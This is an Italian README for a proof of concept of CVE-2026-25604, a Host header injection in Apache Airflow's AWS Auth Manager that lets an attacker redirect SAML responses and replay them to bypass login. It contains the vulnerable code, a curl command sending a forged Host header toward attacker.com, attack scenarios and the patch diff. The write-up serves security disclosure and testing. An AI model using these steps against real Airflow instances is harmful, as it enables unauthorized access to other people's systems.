
Una PoC per dimostrare CVE-2026-25604
Host Header Injection che porta al bypass dell'autenticazione SAML in AWS Auth Manager di Apache Airflow
Un attaccante può iniettare un header Host malevolo nel flusso di login SAML, facendo sì che l'URL dell'Assertion Consumer Service (ACS) punti a un server controllato dall'attaccante. Ciò consente all'attaccante di catturare risposte SAML valide e riprodurle per ottenere accesso non autorizzato all'istanza Airflow vittima — o di riutilizzare i token tra diverse istanze Airflow con controlli di accesso differenti.
| Pacchetto | Interessato | Corretto |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: Errore di convalida dell'origine in AWS Auth Manager (CWE-346)
In AWS Auth Manager, l'origine dell'autenticazione SAML veniva utilizzata così come fornita dal client e non verificata rispetto all'URL effettivo dell'istanza. Ciò consentiva di ottenere accesso a istanze diverse con controlli di accesso potenzialmente differenti riutilizzando risposte SAML provenienti da altre istanze.
— NVD
| Fonte | Link |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| PR di correzione | https://github.com/apache/airflow/pull/61368 |
Il AWS Auth Manager di Apache Airflow utilizza SAML 2.0 tramite AWS IAM Identity Center per l'autenticazione. Quando costruisce la richiesta di autenticazione SAML, il metodo _prepare_flask_request() legge l'header Host direttamente dalla richiesta HTTP in arrivo per costruire l'URL di callback ACS:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
L'http_host e la server_port risultanti vengono usati per costruire l'URL SAML AssertionConsumerService. Poiché il provider di identità (IdP) considera attendibile questo URL, reindirizza l'utente autenticato — insieme alla risposta SAML firmata — verso qualunque indirizzo indicato dall'header Host.
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
Scenario A — Furto del token tramite phishing: Un attaccante invia a un utente legittimo un link di accesso appositamente costruito (con un header Host alterato tramite un proxy inverso). Dopo che l'utente si autentica con IAM Identity Center, la risposta SAML viene reindirizzata al server dell'attaccante. L'attaccante la riproduce contro la vera istanza Airflow.
Scenario B — Riutilizzo del token tra istanze: In ambienti Airflow multi-tenant o multi-istanza, una risposta SAML valida dell'istanza A può essere riprodotta sull'istanza B. Poiché l'origine non viene mai verificata rispetto all'URL effettivo dell'istanza, i diversi controlli di accesso dell'istanza B vengono bypassati.
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
Configurare un'applicazione SAML 2.0 in AWS IAM Identity Center seguendo la documentazione di Airflow AWS Auth Manager:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
Ad esempio:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
In un terminale separato, avviare un login SAML con un header Host manipolato:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
Il server risponde con un 302 Redirect verso la pagina di login di AWS IAM Identity Center. Ispezionare la AuthnRequest SAML: l'URL di AssertionConsumerService punterà a attacker.com:9090/login_callback invece che al server legittimo.
Sulla console del server Airflow simulato:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
La AuthnRequest SAML ora istruisce l'IdP a consegnare la risposta SAML autenticata a attacker.com:9090, fornendo all'attaccante un token valido da riutilizzare.
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — il metodo _prepare_flask_request():
host = request.headers.get("Host", request.host)
Questa riga si fida dell'header Host fornito dal client senza validarlo rispetto all'URL di base di Airflow configurato (AIRFLOW__API__BASE_URL).
La correzione (PR #61368, integrata il 3 febbraio 2026) sostituisce l'host derivato dalla richiesta con il valore della configurazione di Airflow:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
Questo garantisce che l'URL ACS corrisponda sempre all'URL effettivo dell'istanza configurato dall'amministratore, indipendentemente dall'header Host inviato dal client.
Questa prova di concetto è fornita solo a scopo educativo e per test di sicurezza autorizzati. Usala in modo responsabile e solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.
| Commit di correzione | 1a86aec |